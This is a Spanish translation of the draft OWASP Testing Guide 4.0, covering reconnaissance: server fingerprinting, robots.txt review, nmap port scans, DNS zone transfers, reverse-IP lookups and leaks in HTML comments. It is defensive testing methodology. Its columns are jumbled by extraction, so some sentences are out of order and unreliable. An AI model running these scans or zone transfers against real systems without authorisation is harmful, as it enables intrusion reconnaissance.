En lugar de confiar en la posibilidad de atrapar banners manualmente y analizar los encabezados de servidores web, un evaluador puede utilizar herramientas automatizadas para lograr los mismos resultados. Hay muchas pruebas que se pueden llevar a cabo para dejar una huella digital precisa en un servidor web. Por suerte, existen herramientas que permiten automatizar estas pruebas. "httprint" es una de esas herramientas. httprint utiliza un diccionario de firmas que le permite reconocer el tipo y la versión del servidor web que se encuentra en uso.
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
A continuación se muestra un ejemplo de httprint en funcionamiento:
Your browser sent to query this server could not understand.
Respuesta de SunONE 6.1
$ nc sunone.example.com 80 GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas • httprint - net-square.com
Pruebas en línea
• httprecon - computec.ch
Las herramientas en línea se pueden utilizar si el evaluador quiere probar más sigilosamente y no desea conectarse directamente a la página web objetivo. Un ejemplo de una herramienta en línea que ofrece a menudo una gran cantidad de información sobre servidores web objetivos es Netcraft. Con esta
• Netcraft - netcraft.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 45
Guia de pruebas 4.0 "Borrador"
herramienta podemos recuperar información acerca del sistema operativo, servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, historial de cambios relacionados con el servidor web y el sistema operativo. A continuación se muestra un ejemplo:
Proteja la capa de presentación del servidor web detrás de un proxy inverso endurecido. Ofusque la capa de presentación de los encabezados del servidor web. • Apache • IIS
Revise los meta archivos del servidor web en busca de fugas de información (OTG-INFO003) Resumen Esta sección describe cómo probar el archivo robots.txt en busca de fugas de información de la(s) ruta(s) al directorio de la aplicación o de la carpeta de la aplicación web. Además, también puede crearse la lista de directorios que deben ser evitados por las arañas, robots o rastreadores como una dependencia de rutas de ejecución del mapa a través de la aplicación (OTG-INFO-007)
Objetivos de la prueba Se espera que el proyecto OWASP Unmaskme se convierta en otra herramienta en línea para dejar huellas digitales de cualquier sitio web con una interpretación global de todos los metadatos web extraídos. La idea detrás de este proyecto es que cualquier persona a cargo de un sitio web pueda probar los metadatos que el sitio muestra al mundo y evaluar desde un punto de vista de seguridad.
1. Fuga de información de la ruta o rutas al directorio o carpeta de la aplicación web. 2. Crear la lista de directorios que deben ser evitados por las arañas, robots o rastreadores.
Aunque este proyecto está aún en desarrollo, usted puede probar el concepto de esta idea en español. Cómo se prueba robots.txt
Referencias Libros Blancos • Saumil Shah: “An Introduction to HTTP fingerprinting” www.net-square.com
• Anant Shrivastava: “Web Application Finger Printing”
Las arañas, robots o rastreadores web recuperan una página web y luego, recursivamente, atraviesan hipervínculos para recuperar otros contenidos web. Su comportamiento aceptado está especificado por el protocolo de Exclusión de Robots del archivo robots.txt en el directorio web principal [1] Como ejemplo, el principio del archivo robots.txt de http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a continuación:
anantshri.info
Remediación
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 46
Guia de pruebas 4.0 "Borrador"
User-agent: * Disallow: /search
El archivo robots.txt es recuperado del directorio principal (webroot) del servidor web. Por ejemplo, para recuperar robots.txt de www.google.com usando “wget” o “curl”:
Disallow: /sdch
cmlh$ wget http://www.google.com/robots.txt
Disallow: /groups
--2013-08-11 14:40:36-- http://www.google.com/robots.txt
Disallow: /images
Resolving www.google.com... 74.125.237.19, ...
Disallow: /catalogs
74.125.237.17,
74.125.237.18,
Connecting to www.google.com|74.125.237.17|:80... connected. HTTP request sent, awaiting response... 200 OK
La directiva de usuario-agente se refiere al web específico de araña/robot/rastreador. Por ejemplo, el usuario-agente Googlebot se refiere al robot araña de Google mientras " Usuario-Agente: bingbot" [1] se refiere al rastreador de Microsoft/Yahoo!. User-Agent: * En el ejemplo anterior se aplica a todas las arañas/robots/rastreadores web [2] como se cita a continuación:
User-agent: *
La directiva Disallow especifica qué recursos están prohibidos por las arañas/robots/rastreadores. En el ejemplo anterior, están prohibidos directorios como los siguientes:
Length: unspecified [text/plain] Saving to: ‘robots.txt.’
[ <=>
] 7,074
--.-K/s in 0s
2013-08-11 14:40:37 (59.7 MB/s) - ‘robots.txt’ saved [7074]
cmlh$ head -n5 robots.txt
...
User-agent: *
Disallow: /search
Disallow: /search
Disallow: /sdch
Disallow: /sdch
Disallow: /groups
Disallow: /images Disallow: /catalogs
cmlh$ curl -O http://www.google.com/robots.txt % Total % Received % Xferd Average Speed Time Current
Time
Time
Dload Upload Total Spent Left Speed Las arañas, robots o rastreadores web pueden ignorar intencionalmente las directivas Disallow especificadas en un archivo robots.txt [3], tales como las de las redes sociales [2] para asegurarse de que los vínculos compartidos sean todavía válidos. Por lo tanto, robots.txt no debe considerarse como un mecanismo para imponer restricciones de cómo el contenido web se debe acceder, almacenar o volver a publicar por terceros.
101 7074 0 7074 0
0 9410
0 --:--:-- --:--:-- --:--:-- 27312
cmlh$ head -n5 robots.txt User-agent: * Disallow: /search
Disallow: /sdch robots.txt in el directorio principal con “wget” o “curl” Disallow: /groups Disallow: /images
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 47
Guia de pruebas 4.0 "Borrador"
(https://www.google.com/webmasters/tools). Esta herramienta puede ayudar con las pruebas y el procedimiento es el siguiente: 1. Inscríbase a Google Webmaster Tools con una cuenta de Google. 2. En el panel de control, escriba la URL del sitio a analizar. 3. Elija entre los métodos disponibles y siga las instrucciones en la pantalla.
robots.txt in el directorio principal con rockspider "rockspider" [3] automatiza la creación de las posibilidades iniciales de arañas/robots/rastreadores de archivos y directorios o carpetas de un sitio web.
Por ejemplo, para crear las posibilidades iniciales en la directiva autorizada de www.google.com usando “rockspider”[4]:
cmlh$ ./rockspider.pl -www www.google.com
“Rockspider” Alpha v0.1_2
Copyright 2013 Christian Heinrich
Etiquetas META Las etiquetas <META> se encuentran en la sección HEAD de cada documento HTML y deben ser coherentes a través del sitio web en el evento probable de que el punto de partida de la araña/robot/rastreador no comience desde un vínculo de documento fuera del directorio principal (webroot), es decir, un "enlace profundo" [5].
Si no hay una entrada “<META NAME=”ROBOTS” ... >” entonces el
“Protocolo de Exclusión de Robots” usa la condición base de “INDEX,FOLLOW” respectivamente. Entonces las otras dos entradas válidas definidas por el “Protocolo de Exclusión de Robots” se preestablecen con “NO...” , es decir, “NOINDEX” y “NOFOLLOW”.
Licensed under the Apache License, Version 2.0
1. Downloading http://www.google.com/robots.txt
Las arañas/robots/rastreadores web pueden ignorar deliberadamente la etiqueta “<META NAME=”ROBOTS”” ya que se prefiere el acuerdo del archivo robots.txt. Por lo tanto, las <META> etiquetas no deben considerarse el mecanismo primario, sino más bien un control complementario a robots.txt.
2. “robots.txt” saved as “www.google.com-robots.txt” 3. Sending Allow: URIs of www.google.com to web proxy i.e. 127.0.0.1:8080
<META>Etiquetas - con Burp
/catalogs/about sent /catalogs/p? sent /news/directory sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt en el directorio principal, la búsqueda normal de una expresión " <META name="”ROBOTS””" dentro de cada página web inicia y el resultado se compara al archivo robots.txt en el directorio principal.
...
Analice robots.txt utilizando las herramientas de Google Webmaster
Por ejemplo, el archivo robots.txt de facebook.com tiene una entrada de "Disallow: /ac.php" [6] y la consiguiente búsqueda de " <META name="”ROBOTS””" indicada a continuación
Los propietarios de sitios web pueden utilizar la función "Analize robots.txt" de Google para analizar el sitio web como parte de su "Google Webmaster Tools"
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 48
Guia de pruebas 4.0 "Borrador"
Un paso fundamental en las pruebas de vulnerabilidades en aplicaciones web es averiguar qué aplicaciones particulares están alojadas en un
servidor web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque conocidas que pueden ser explotadas para obtener el control remoto para explotar los datos. Además, muchas aplicaciones se encuentran a menudo mal configuradas o no están actualizadas, debido a la percepción de que sólo se utilizan "internamente" y, por lo tanto, no existe amenaza.
Lo anterior podría considerarse un error, puesto que el " INDEX,FOLLOW " es la etiqueta <META> predeterminada por el "Protocolo de Exclusión de Robots", sin embargo, "Disallow: /ac.php" aparece en robots.txt.
Con la proliferación de servidores web virtuales, la relación tipo 1:1-tradicional entre una dirección IP y un servidor web está perdiendo gran parte de su significado original. No es raro tener varios sitios web o aplicaciones cuyos nombres simbólicos resulten en la misma dirección IP. Este escenario no se limita a entornos de alojamiento (hosting), sino que también se aplica a los entornos corporativos.
Herramientas Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como un objetivo de pruebas. Es discutible que este escenario sea parecido a una relación de tipo prueba de penetración, pero, en cualquier caso, se espera que dicha sesión pondría a prueba todas las aplicaciones web accesibles a través de este objetivo. El problema es que la dirección IP aloja un servicio HTTP en el puerto 80, pero si un evaluador debe acceder especificando la dirección IP (que es todo lo que sabe) reportará "Ningún servidor web configurado en esta dirección" o un mensaje similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a nombres simbólicos, sin relación del (DNS). Obviamente, el alcance del análisis se ve afectado profundamente si el evaluador prueba todas las aplicaciones o sólo las aplicaciones de las que está consciente.
• Buscador (Funcion de Ver Origen) • curl • wget • rockspider[7]
Referencias Libros Blancos A veces, la especificación de destino es más rica. El evaluador puede recibir una lista de direcciones IP y sus correspondientes nombres simbólicos. Sin embargo, esta lista podría transmitir información parcial, es decir, podría omitir algunos nombres simbólicos y el cliente podría ni siquiera estar consciente de aquello (esto es más probable que ocurra en las grandes organizaciones).
[1] “The Web Robots Pages” - http://www.robotstxt.org/ [2] “Block and Remove Pages Using a https://support.google.com/webmasters/answer/156449
robots.txt
File”
-
[3] “(ISC)2 Blog: The Attack of the Spiders from the Clouds” http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html [4] “Telstra customer database exposed” - http://www.smh.com.au/it-pro/securityit/telstra-customer-database-exposed-20111209-1on60.html
Enumere las aplicaciones en el servidor web (OTG-INFO-004) Resumen
Otros temas que afectan el alcance de la evaluación están representados por aplicaciones web publicadas en URLs no evidentes (por ejemplo, http://www.example.com/some-strange-URL), a las que no se hace referencia en otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Para abordar estos temas, es necesario realizar un descubrimiento de aplicaciones web.
Objetivos de la prueba
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 49
Guia de pruebas 4.0 "Borrador"
Enumerar las aplicaciones que existen dentro del ámbito en un servidor web
Cómo probar
evaluador sepa explícitamente cómo llegar a ellas, es decir, el evaluador sabe las url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de esta manera, a menos que el propietario no desee que se encuentren accesibles de una manera estándar y esté dispuesto a informar a los usuarios sobre su ubicación exacta. Esto no quiere decir que estas aplicaciones son secretas, sólo que su existencia y localización no son anunciadas explícitamente.
Pruebas de Caja Negra El descubrimiento de aplicaciones web es un proceso dirigido a identificar aplicaciones web en una infraestructura determinada. Este último se suele especificar como un conjunto de direcciones IP (tal vez un bloque de red), pero puede consistir de un conjunto de nombres simbólicos DNS o una mezcla de los dos. Esta información se entrega antes de la ejecución de una evaluación, ya sea una prueba de penetración de estilo clásico o una evaluación enfocada en las aplicaciones. En ambos casos, a menos que las reglas de contratación especifiquen lo contrario (por ejemplo, "prueba sólo la aplicación ubicada en el http://www.example.com/ enlace"), la evaluación debe esforzarse por tener el mayor alcance posible, es decir, debe identificar todas las aplicaciones accesibles a través del objetivo dado. En los ejemplos siguientes constan algunas técnicas que pueden emplearse para lograr este objetivo.
Nota: Algunas de las técnicas siguientes se aplican a servidores de
conexión a internet, es decir, DNS y servicios de búsqueda en la web de IP inversa y el uso de motores de búsqueda. Los ejemplos hacen uso de la direcciones IP privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario, representan direcciones IP genéricas y son utilizadas solamente con el propósito del anonimato.
2. Puertos no-estándar Aunque las aplicaciones web generalmente se ubican en el puerto 80 (http) y 443 (https), no hay nada mágico acerca de estos números de puertos. De hecho, las aplicaciones web pueden estar asociadas con puertos TCP arbitrarios y pueden ser referenciados especificando el número de puerto como a continuación: http[s]://www.example.com:port/. Por ejemplo, http://www.example.com:20000/
3. Hospedajes (host) virtuales Las DNS permiten una dirección IP única asociada a uno o más nombres simbólicos. Por ejemplo, la dirección IP 192.168.1.100 podría asociarse a los nombres DNS www.example.com, helpdesk.example.com y webmail.example.com. No es necesario que todos los nombres pertenezcan al mismo dominio DNS. Esta relación de 1 a N puede usarse para servir a diferentes contenidos con los denominados hospedajes (host) virtuales. La información que especifica al host virtual al cual nos estamos refiriendo está incrustada en el encabezado HTTP 1.1 [1].
Uno no podría sospechar de la existencia de otras aplicaciones web adicionales a la obvia www.example.com, a menos que sepan de helpdesk.example.com y webmail.example.com. Hay tres factores que influyen en cuantas aplicaciones están relacionadas con un determinado nombre DNS (o una dirección IP): Los enfoques para encarar la situación 1 - URLs no estándar 1. URL con bases diferentes El punto de entrada obvio de una aplicación web es www.example.com, es decir, con esta nominación abreviada pensamos que la aplicación web se origina en http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de que esta es la situación más común, no hay nada que obligue a la aplicación para que empiece en "/".
No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web sin el nombre estándar. Al ser no estándar, no hay criterios establecidos o convenidos para la nomenclatura, sin embargo, hay una serie de técnicas que puede utilizar el evaluador para obtener información adicional.
En primer lugar, si el servidor web está mal configurado y permite navegar por el directorio, es posible detectar estas aplicaciones. Los escáneres de vulnerabilidad pueden ayudar en este sentido. Por ejemplo, el mismo nombre simbólico puede ser asociado a tres aplicaciones web tales como: http://www.example.com/url1 http://www.example.com/url2 http://www.example.com/url3
En este caso, el enlace http://www.example.com/ no estaría asociado con una página significativa, y las tres aplicaciones estarían "ocultas", a menos que el
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras páginas web y hay la posibilidad de que hayan sido procesadas por un robot araña e indexadas por los motores de búsqueda web. Si los evaluadores sospechan de la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 50
Guia de pruebas 4.0 "Borrador"
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podrían buscar utilizando el operador del sitio web y examinar el resultado de una consulta para "site: www.example.com". Entre los URLs devueltos podrían haber algunos apuntando a una aplicación no tan obvia.
De este ejemplo uno puede ver que:
• Hay un servidor de http Apache corriendo en el puerto 80.
Otra opción es sondear URL que podrían ser candidatos probables para aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible desde la URL https://www.example.com/webmail, https://webmail.example.com/ o https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa Tomcat) y, sin embargo, no hacen referencia en ningún lugar. Así que haciendo un poco de búsqueda de estilo diccionario (o "adivinanza inteligente") podría arrojar algunos resultados. Los escáneres de vulnerabilidad pueden ayudar en este caso.
• Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado, por ejemplo, visitando https://192.168.1.100 con un navegador) • En el puerto 901hay una interfaz de web de Samba SWAT. • El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al SSL. • El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella digital - aquí ha sido omitida por claridad - junto a las instrucciones para su incorporación en la base de datos de huellas dactilares nmap, siempre y cuando usted sepa qué servicio representa).
Enfoques para solucionar el tema 2 - puertos no estándar Es fácil comprobar la existencia de aplicaciones web en puertos no estándar. Un escáner de puertos como nmap [2] es capaz de realizar el reconocimiento de servicio mediante la opción - sV e identificará los servicios http [s] en puertos arbitrarios. Lo que se requiere es un análisis completo de los 64k de espacio del puerto TCP.
• Otro servicio no identificado en el puerto 8000. Esto posiblemente podría ser un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a examinar esta cuestión:
Puertos interesantes en 192.168.1.100: Por ejemplo, el siguiente comando buscará, con un escaner de conección TCP, todos los puertos abiertos en la IP 192.168.1.100 y tratará de determinar qué servicios están atados a ellos (sólo se muestran los modificadores esenciales – nmap ofrece un amplio conjunto de opciones, cuya discusión está fuera de alcance):
nmap –PN –sT –sV –p0-65535 192.168.1.100
Es suficiente examinar la salida y buscar el http o la indicación de servicios enlazados al SSL (que debe ser investigado para confirmar que son https). Por ejemplo, la salida del comando anterior podría verse así:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los que están en estado cerrado) PORT
STATE SERVICE
VERSION
22/tcp open ssh
OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http
Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp open ssl
OpenSSL
Esto confirma que en realidad es un servidor HTTP. Alternativamente, evaluadores podrían haber visitado la URL con un navegador web, o utilizar comandos Perl GET o HEAD que imitan interacciones HTTP como mencionadas anteriormente (sin embargo, las solicitudes HEAD pueden no respetadas por todos los servidores).
los los las ser
Apache Tomcat corriendo en un puerto 8080 901/tcp open http
Samba SWAT administration server
1241/tcp open ssl
Nessus security scanner
3690/tcp open unknown 8000/tcp open http-alt? 8080/tcp open http
Apache Tomcat/Coyote JSP engine 1.1
La misma tarea puede realizarse por escáneres de vulnerabilidad, pero primero compruebe que el escáner escogido es capaz de identificar los servicios http[s] que corren en puertos no estándar. Por ejemplo, Nessus [3] es capaz de identificarlos en puertos arbitrarios (siempre y cuando sea instruido para escanear todos los puertos) y proporcionará, en relación con nmap, una serie de pruebas de vulnerabilidades conocidas de servidores web, así como en la configuración SSL de servicios https. Como se indicó anteriormente, Nessus también es capaz de identificar aplicaciones
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 51
Guia de pruebas 4.0 "Borrador"
populares o interfaces web que, de lo contrario, podrían pasar desapercibidas (por ejemplo, una interfaz de administración de Tomcat).
www.example.com y el no tan obvio helpdesk.example.com y webmail.example.com (y probablemente otros). Revise todos los nombres devueltos por la transferencia de zona y considere a todos aquellos que se relacionan con el objetivo a ser evaluado.
Enfoques para solucionar el tema 3 - hosts virtuales Hay una serie de técnicas que pueden utilizarse para identificar nombres DNS asociados a una dirección IP determinada x.y.z.t.
Tratando de solicitar una transferencia de zona para owasp.org desde uno de los nombres de servidor:
$ host -l www.owasp.org ns1.secure.net Using domain server: Transferencias de Zonas DNS
Name: ns1.secure.net Esta técnica tiene un uso limitado en la actualidad, dado el hecho de que las transferencias de zonas, en su mayoría, no son respetadas por servidores DNS. Sin embargo, puede valer la pena intentarlo. En primer lugar, los evaluadores deberán determinar los servidores de nombres que sirven x.y.z.t. Si se conoce un nombre simbólico para x.y.z.t (sea www.example.com), los nombres de los servidores pueden ser determinados por medio de herramientas como nslookup, host, o dig, solicitando registros DNS NS.
Si no conoce ningún nombre simbólico para x.y.z.t, pero la definición de destino contiene al menos un nombre simbólico, los evaluadores pueden probar aplicando el mismo proceso y consultar el nombre del servidor de ese nombre (con la esperanza de que x.y.z.t sea servido también por el servidor del mismo nombre). Por ejemplo, si el objetivo consiste en la dirección IP x.y.z.t y el nombre mail.example.com, determine los nombres de los servidores para el dominio example.com.
Address: 192.220.124.10#53 Aliases:
Host www.owasp.org not found: 5(REFUSED)
Consultas Inversas de DNS Este proceso es similar al anterior, pero se basa en registros DNS (PTR) inversos. En lugar de solicitar una transferencia de zona, intente establecer el tipo de registro como PTR y emita una consulta en la dirección IP. Si los evaluadores tienen suerte, pueden recibir de vuelta una entrada con un nombre DNS. Esta técnica se basa en la existencia de mapas de nombres IP, símbolos, lo que no está garantizado.
El siguiente ejemplo muestra cómo identificar el nombre de los servidores de www.owasp.org usando el comando de alojamiento: Búsquedas DNS basadas en la web $ host -t ns www.owasp.org www.owasp.org is an alias for owasp.org. owasp.org name server ns1.secure.net. owasp.org name server ns2.secure.net.
Este tipo de búsqueda es similar a la transferencia de zonas de DNS, pero se basa en servicios web que permiten búsquedas basadas en el nombre de DNS. Uno de estos servicios es el de búsqueda de DNS de Netcraft, disponible en http://searchdns.netcraft.com/?host. El evaluador puede consultar una lista de nombres que pertenecen a su dominio elegido, como example.com. Luego comprobarán si los nombres que obtuvieron son pertinentes al objetivo que están estudiando. Servicios de IP inversa
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores para el dominio example.com. Si el evaluador es afortunado, recibirá una lista de las entradas DNS de este dominio. Esto incluirá el obvio
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la diferencia que los evaluadores consultan una aplicación web en lugar de un nombre de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para obtener un análisis más exhaustivo.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 52
Guia de pruebas 4.0 "Borrador"
Domain tools reverse IP: domaintools.com (requires free membership)
MSN search: search.msn.com (syntax: “ip:x.x.x.x” (without the quotes)
Webhosting info: whois.webhosting.info (syntax: http://whois.webhosting.info/x.x.x.x) Googlear
DNSstuff: dnsstuff.com (multiple services available)
Siguiendo la información recopilada mediante las técnicas anteriores, los evaluadores pueden confiar en los motores de búsqueda y posiblemente refinar e incrementar su análisis. Esto podría ceder evidencia de nombres simbólicos adicionales pertenecientes al objetivo o aplicaciones accesibles a través de URLs no-obvios.
net-square: net-square.com ¶(multiple queries on domains and IP addresses, requires installation)
tomDNS: tomdns.net (some services are still private at the time of writing)
SEOlogs.com: seologs.com ¶(reverse-IP/domain lookup)
En el ejemplo siguiente se muestra el resultado de una consulta a uno de los servicios de IP inversa anteriores para 216.48.3.18, la dirección IP de www.owasp.org. Tres asignaciones de nombres simbólicos no obvios
adicionales a la misma dirección han sido revelados.
Por ejemplo, teniendo en cuenta el ejemplo anterior sobre www.owasp.org, el evaluador podría consultar Google y otros motores de búsqueda indagando información (entiéndase, los nombres DNS) relacionados con los nuevos dominios recientemente descubiertos de webgoat.org, webscarab.com y webscarab.net.
Las técnicas para Googlear se explican en pruebas: arañas, robots y rastreadores.
Pruebas de Caja Gris No son aplicables. La metodología es igual a la que se describió en las pruebas de Caja Negra, no importa cuánta información tiene el evaluador al inicio.
Herramientas • Herramientas de búsqueda DNS como nslookup, dig y similares. • Motores de búsqueda (Google, Bing y otros motores de búsqueda principales). • Servicios especializados relacionados con DNS basado en la web: ver texto.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 53
Guia de pruebas 4.0 "Borrador"
• Nmap - insecure.org
...
• Nessus Vulnerability Scanner - nessus.org • Nikto - cirt.net
<div class=”table2”> <div class=”col1”>1</div><div class=”col2”>Mary</div>
Referencias Libros Blancos
<div class=”col1”>2</div><div class=”col2”>Peter</div> <div class=”col1”>3</div><div class=”col2”>Joe</div>
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 <!-- uery: SELECT id, name FROM app.users WHERE active=’1’ -->
Revise los comentarios sobre el sitio web y los metadatos en busca de fugas de información (OTG-INFO-005) Resumen
</div> El evaluador puede incluso encontrar algo como esto:
<!-- Use the DB administrator password for testing: f@keP@a$$w0rD -->
Es muy común e incluso recomendable para los programadores el incluir comentarios detallados y metadatos en su código fuente. Sin embargo, los comentarios y metadatos incluidos en el código HTML podrían revelar Revise la información de la versión HTML en busca de números de versión válidos y Definición de Tipo de Datos (DTD) de URLs información interna que no debería estar disponible a atacantes potenciales. Los comentarios y metadatos deben ser revisados con el fin de determinar si hay fugas de información.
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN” “http://www.w3.org/TR/html4/strict.dtd”>
Objetivos de la prueba
• “strict.dtd” -- default strict DTD
Revise los comentarios y metadatos de la página web para entender mejor la aplicación y encontrar cualquier fuga de información.
• “loose.dtd” -- loose DTD • “frameset.dtd” -- DTD for frameset documents
Cómo probar Los comentarios HTML son utilizados por los desarrolladores para incluir información sobre la depuración de la aplicación. A veces se olvidan de los comentarios y se quedan en la producción. Los evaluadores deben busquar comentarios en HTML que comienzan con "".
Algunas Metaetiquetas no proveen vectores de ataque activos, sino más bien permiten a un atacante hacer un perfil de la aplicación <META name=”Author” content=”Andrew Muller”>
Pruebas de Caja Negra Compruebe el código HTML en busca de comentarios que contengan información sensible que pueda ayudar al atacante a conocer más de cerca la aplicación. Podrían ser códigos SQL, nombres de usuario y contraseñas, direcciones IP internas o información de depuración.
Algunas Meta etiquetas HTTP modifican los encabezados de respuesta, como httpequiv que establece un encabezado de respuesta HTTP basado en el atributo del contenido de un meta elemento, tal como:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 54
Guia de pruebas 4.0 "Borrador"
<META http-equiv=”Expires” content=”Fri, 21 Dec 2012 12:34:56 GMT”>
La plataforma para la selección de contenido de Internet (PICS) y el protocolo de recursos de Descripción Web (POWDER) proporcionan infraestructura para asociar metadatos con contenido de Internet.
que resultará en el encabezado HTTP:
Pruebas de Caja Gris
Expires: Fri, 21 Dec 2012 12:34:56 GMT
No aplicable.
Y
Herramientas • Wget <META http-equiv=”Cache-Control” content=”no-cache”>
• Browser “view source” function • Eyeballs Resultará en
• Curl
Cache-Control: no-cache
Referencias Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyección (por ejemplo ataques CRLF). También puede ayudar a determinar el nivel de fuga de datos a través de la caché del navegador.
Libros Blancos [1] HTML version 4.01: w3.org
Una Meta etiqueta común (pero no obediente en WCAG) es la actualización. [2] XHTML (for small devices): w3.org <META http-equiv=”Refresh” content=”15;URL=https://www.owasp.org/index.html”>
[3] HTML version 5 : w3.org
GMT”>
Un uso común para una Meta etiqueta es especificar palabras clave que un motor de búsqueda podría usar para mejorar la calidad de los resultados.
<META name=”keywords” lang=”en-us” content=”OWASP, security, sunshine, lollipops”>
Identificar puntos de entrada de la aplicación (OTG-INFO-006) Resumen Enumerar la aplicación y su superficie de ataque es un precursor clave antes que cualquier prueba de fondo puede llevarse a cabo, ya que
GMT”> Aunque la mayoría de servidores web administran la indexación de los motores de búsqueda mediante el archivo robots.txt, también pueden ser gestionados por Meta etiquetas. La etiqueta a continuación recomendará a los robots que no indexen y no sigan enlaces de la página HTML que contienen la etiqueta. <META name=”robots” content=”none”>
permite al evaluador identificar probables áreas de debilidad. Esta sección pretende ayudar a identificar y mapear las áreas dentro de la aplicación que deben investigarse una vez que la enumeración y el mapeo se han completado.
Objetivos de la prueba
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 55
Guia de pruebas 4.0 "Borrador"
Entender cómo se forman las solicitudes y las respuestas típicas de la aplicación.
Cómo probar
Una vez que ha mapeado cada área de la aplicación, puede ir a través de la aplicación y probar cada una de las áreas que ha identificado y tomar notas de lo que funcionó y lo que no funcionó. El resto de esta guía identificará cómo se prueba cada una de estas áreas de interés, pero esta sección debe realizarse antes de que la prueba real pueda comenzar.
Antes de cualquier prueba, el evaluador debe tener siempre una buena comprensión de la aplicación y de cómo el usuario y el navegador se comunican con él. Mientras el evaluador recorre a través de la aplicación, debe prestar atención especial a todas las solicitudes HTTP (métodos GET y POST, también conocidos como Verbos), así como cada parámetro y campo de forma que se pasa a la aplicación. Además, debe prestar atención cuando se utilizan las solicitudes GET y cuando las solicitudes POST para pasar parámetros a la aplicación. Es muy común que se utilicen las solicitudes GET, pero cuando se pasa información sensible, a menudo se realiza dentro del cuerpo de una petición POST.
A continuación se presentan algunos puntos de interés para todas las solicitudes y respuestas. Dentro de la sección de peticiones, concéntrese en los métodos GET y POST, ya que en éstos aparecen la mayoría de las solicitudes. Tenga en cuenta que otros métodos, como PUT y DELETE, se pueden utilizar. A menudo, estas solicitudes más raras pueden también exponer vulnerabilidades. Hay una sección especial en esta guía dedicada a probar estos métodos HTTP.
Note que para ver los parámetros enviados en una petición POST, el evaluador tendrá que utilizar una herramienta como un interceptador de proxy (por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del navegador. Dentro de la solicitud POST, el evaluador debe también poner atención especial a cualquier campo oculto que se esté pasando a la aplicación, ya que estos generalmente contienen información confidencial, como información sobre el estado, cantidad de artículos o el precio de los artículos que el desarrollador nunca quiso que usted pudiera ver o cambiar.
En la experiencia del autor, ha sido muy útil utilizar un interceptador de proxy y una hoja de cálculo para esta etapa de la prueba. El proxy hará el seguimiento de cada solicitud y respuesta entre el evaluador y la aplicación mientras él o ella recorre a través de él.
Adicionalmente, en este punto, el evaluador normalmente atrapa cada solicitud y respuesta para que él pueda ver exactamente cada encabezado, parámetro, etc., que pasa a la aplicación y lo que devuelve. Esto puede ser bastante tedioso a veces, especialmente para sitios grandes e interactivos
bancaria). Sin embargo, la experiencia le dirá al evaluador qué es lo que debe buscar y el tiempo utilizado durante esta fase puede reducirse significativamente. (piense en una aplicación
Mientras el evaluador recorre a través de la aplicación, debe tomar nota de todos los parámetros interesantes en la URL, encabezados personalizados o cuerpo de las peticiones/respuestas y guardarlas en una hoja de cálculo. La hoja de cálculo debe incluir la página solicitada (sería bueno añadir también el número de solicitud del proxy, para referencias futuras), los parámetros de interés, el tipo de solicitud (POST/GET), si el acceso es autenticado/no autenticado, si se usa SSL, si es parte de un proceso de pasos multiples y otras notas pertinentes.
Solicitudes:
• Identificar dónde se utilizan peticiones GET y POST. • Identificar todos los parámetros en las peticiones POST (estos son en el cuerpo de la solicitud) • Preste especial atención a los parámetros ocultos en la petición POST. Cuando una petición POSTes enviada, todos los campos del formulario (incluyendo parámetros ocultos) se enviarán en el cuerpo del mensaje HTTP a la aplicación. Estos normalmente no son vistos a menos que se utilice un proxy o se vea el código fuente del HTML. Además, la página siguiente que se muestra, sus datos y el nivel de acceso pueden todos ser diferentes dependiendo del valor de los parámetros ocultos. • Identifique todos los parámetros utilizados en una petición GET (es decir, la URL), en particular la cadena de consulta (generalmente después de un signo ?). • Identifique todos los parámetros de la cadena de consulta. Estos generalmente están en pares, como foo = bar. También tenga en cuenta que muchos de los parámetros pueden estar en una cadena de consulta separados por un &, ~,:, o cualquier otro carácter especial o codificación.
